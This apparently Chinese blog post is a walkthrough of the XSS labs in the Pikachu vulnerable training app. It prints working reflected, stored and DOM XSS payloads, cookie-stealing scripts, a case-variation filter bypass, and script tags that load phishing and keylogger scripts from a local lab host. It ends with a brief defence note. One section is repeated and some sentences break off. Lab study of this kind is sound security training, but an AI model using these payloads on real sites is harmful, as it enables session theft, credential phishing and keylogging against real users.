pikachu之XSS分类、场景(钓鱼、盲打、过滤)

类型

1、反射型XSS

Get型

简介:交互的数据一般不会被存在数据库里面,是一次性的,所见即所得,一般出现在查询类页面等。

1、可以看到有一个输入点,在输入框输入Kobe

 

点击提交后,出现一张图,如图所示。

2、插入一些特殊字符77***%%%<<>>9999%%%7888888,看到页面回显没有把一些字符过滤掉,并且发现搜索框长度有限,

 

3、查看他的代码,发现我们输入的内容被原封不动的被输出

 

4、在输入正确的payload: <script>alert</script>.输入的时候发现,搜索框有长度限制。

一般长度限制都是通过前端html代码校验.

方法一:直接修改HTML代码

1)用开发者工具查看代码,发现代码中设置了最大字符长度为20

 

我们将其修改为300,就可以输入更长的字符了

 

 2)修改后我们输入Payload:<script>alert(“XSS”)</script>,点击提交,弹出了提示框

 

 

3)数据从前端接口输入,到后端接收然后输出,后端没有保存,重新刷新页面代码就没了。

我们回去查看源码,发现被嵌入到了P标签里,因为<script>alert(“XSS”)</script>是正确的前端语法代码,就会被浏览器执行。刷新之后就不会弹出提示框了。

方法二:

抓个包看一下,发现他是以get方式将message里的内容提交到后台的,我们可以构造一个JavaScript payload发送给使用者。

 

 

我们修改massage的信息为<script>alert(“1”)</script>

 Forward,发现页面弹出了提示框

Get方式的xss更容易被利用,将带有跨站脚本的URL伪装后发送给目标,而珀斯特方式由于是以表单的方式提交,无法直接使用URL方式进行攻击

Post型

1、登录后先抓个包,可以看到他是post类型。

2、输入一个正确的payload,修改后返回页面,可以看到我们写入的信息。

 

 

 3、当我们写入另一个payload:<script>alert(document.cookie)</script>,发现成功获取了admin的cookie

 

2、保存型XSS

交互的数据会被存在数据库里,永久性存储,一般出现在留言板,注册等页面。

  1. 看是否存在XSS漏洞,输入""<>?666666

 

点提交,可以看到我们输入的东西被当作留言给显示出来了,查看页面源码,发现被嵌入到了P标签里

 

 

  1. 我们输入Payload:<script>alert(“XSS”)</script>,点击提交,弹出提示框

刷新页面,发现无论切换多少次页面都会弹出提示框,说明该信息已经被存入数据库了,说明存储型XSS能危害所有访问受影响页面的用户,危害更大 。       

3、我们写入另一个payload:<script>alert(document.cookie)</script>。发现成功获取了admin的cookie,无论切换多少次页面都会弹出提示框

 

3、DOM型XSS

不与后台服务器产生数据交互,是一种通过Dom操作前端代码输出的时候产生的问题,一次性也属于反射型。是纯前台的漏洞。

什么是DOM?

dom是一种文档对象模型,同时也是用于HTML编程的接口,通过dom来操作页面中的元素,当HTML页面被实现加载时,浏览器会创建一个DOM,给文档提供了一个新的逻辑结构,并且可以改变内容和结构。对于浏览器来说,DOM文档就是一份XML文件当有了这个标准的技术之后,通过JavaScript就可以轻松访问了

原理

客户端JavaScript可以访问浏览器的DOM文本对象模型是利用的前提,当确认客户端代码中有DOM型XSS漏洞时,并且能诱使(钓鱼)一名用户访问自己构造的URL,就说明可以在受害者的客户端注入恶意脚本。利用步骤和反射型很类似,但是唯一的区别就是,构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。

实操

1、我们输入<script>alert(1)</script>先看看,可以看到回显了一个链接名为what do you see?

 

 

2、鼠标右键–查看网页源代码,Ctrl+F弹出搜索框,输入what do you see看看

找到了一段js代码,寻找DOM XSS的本质是做js语言阅读理解题

 

 

逻辑:GetElementById()函数获取了输入的内容赋给str,又通过字符串拼接的方式写到了herf属性中,当我们输入一个字符串之后,会一把字符串通过dom方法拼接到a标签里,a标签会被写到id=dom这个标签里输出。

  1. 通过构造一个闭合执行预期的代码,构建一个payload效果为弹窗,内容为111:

<a href='#' οnclick="alert(111)">'>what do you see?</a>

则payload为:#' οnclick="alert(111)">,将payload输入,点击链接输出111

 

DOM型XSS-X

查看源码可以看到dom的输入是从浏览器里获得的

输入payload:#' οnclick="alert(111)">

 

 

DOM型XSS只在前端,与后端毫无关系。DOM-X型危害更大,它能够像反射型一样在URL中体现,将URL发给了受害者就能进行攻击。

攻击场景

XSS钓鱼

在一个存在XSS漏洞的页面嵌入一个请求,当用户打开页面时,会向后台发出请求,会弹出需要身份认证的一个提示框。输入账号密码后,后端会

我们嵌入一段代码:

<script src="http://127.0.0.1:8080/pikachu/pkxss/xfish/fish.php"></script>

会弹出提示框要我们认证。攻击者可以在后台获取钓鱼结果。

DOM型XSS只在前端,与后端毫无关系。DOM-X型危害更大,它能够像反射型一样在URL中体现,将URL发给了受害者就能进行攻击。

  • 攻击场景

XSS钓鱼

在一个存在XSS漏洞的页面嵌入一个请求,当用户打开页面时,会向后台发出请求,会弹出需要身份认证的一个提示框。输入账号密码后,后端会

我们嵌入一段代码:

<script src="http://127.0.0.1:8080/pikachu/pkxss/xfish/fish.php"></script>

会弹出提示框要我们认证。攻击者可以在后台获取钓鱼结果。

 

XSS获取键盘记录

什么是跨域

https://  www  .  xyz.com  : 8080 /  script/test.js

协议    子域名    主域名   端口     资源地址

当协议、主机(主域名、子域名)、端口中任意一个不相同时,成为不同域

不同域之间的请求数据的操作,称为跨域操作

同源策略:两个不同域名之间不能使用JS进行相互操作

想要跨域操作,则需要管理员进行特殊的配置:

比如通过:header(“Access-Control-Allow-Origin:x.com”)指定

下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的

<script src=” ”>  //js,加载到本地执行

<img src=” ”> //图片

<link href=””>//css

<iframe src=”...”>//任意资源

实操

我们登录后台,看到有一个键盘记录结果,点击可以看到记录,刚开始是空的

 

我们输入一个脚本让他去运行rk.js

<script src="http://127.0.0.1:8080/pikachu/pkxss/rkeypress/rk.js"></script>

弹出了页面请求失败

 

 设置允许被跨域访问

 

在键盘输入6个a,可以看到下面有6个请求

 

再去查看键盘记录,我们能看到有输入的6个a. 

Xss盲打

1、先输入一些信息测试一下,弹出“谢谢参与。。”,可以看到输入的信息不会在前台输出,有可能在后台界面输出,有可能后台管理人员可以看到

 

 2、登录后台页面,可以看到我们之前输入的内容已经记录在后台,并被后台输出

 

 

 3、攻击者可以在前端注入一个盗取cookie的脚本,等管理员登陆后台之后,就可以把后台管理员的cookie信息获得,就可以伪装管理员进行操作,对两个框都进行测试,输入payload:

<script>alert(document.cookie)</script>

4、登陆后台,发现payload被触动了两次,说明两个框都有漏洞

 

XSS过滤

1、输入一个payload:<script>alert(“1”)</script>,发现有些字符被过滤了,并且url也有输入内容,刷新本页就没有这个内容类,说明是反射型get型XSS

 

 

 2、是什么字符被过滤了呢?验证一下,输入222”<script>,我们发现script被过滤了

3、想办法绕过它,采用大小写绕过的方法绕过过滤。输入

222"<ScRIpt>alert("111")</SCriPt>。发现绕过成功。

 

 

XSS之htmlspecialchars

Htmlspecialchars()函数

它是把预定义的字符转换为HTML实体。&ok=htmlspecialchars($_GET[‘message’])

预定义的字符是:

&(和号)成为&

“”(双引号)成为"

‘(单引号)成为'

<(小于)成为&It

>(大于)成为>

可用的引号类型:

ENT_COMPAT-默认。仅编码双引号

ENT_QUOTES-编码双引号和单引号

ENT_NOQUOTES-不编码任何引号

随便输入一些字符,点击提交,发现输入的内容被回显出来

查看源码,可以看到只有单引号没被处理。

构造一个payload: ’ οnclick=’alert(0000)’. 前面的一个单引号让 value='形成闭合

 

 

 

XSS之href输出

输入百度的网址,点击它回显的链接,发现打开了百度页面

 

 

 查看后台代码,发现它对特殊符号做出了转义,并且可以用JavaScript协议来执行JS

 

 

 

 

 

防范措施:

Href里是写超链接的,所以我们只允许让他写http/https协议,才允许让他输出,,否则不允许,在对他进行htmlspecialchars处理

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Moriia---

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值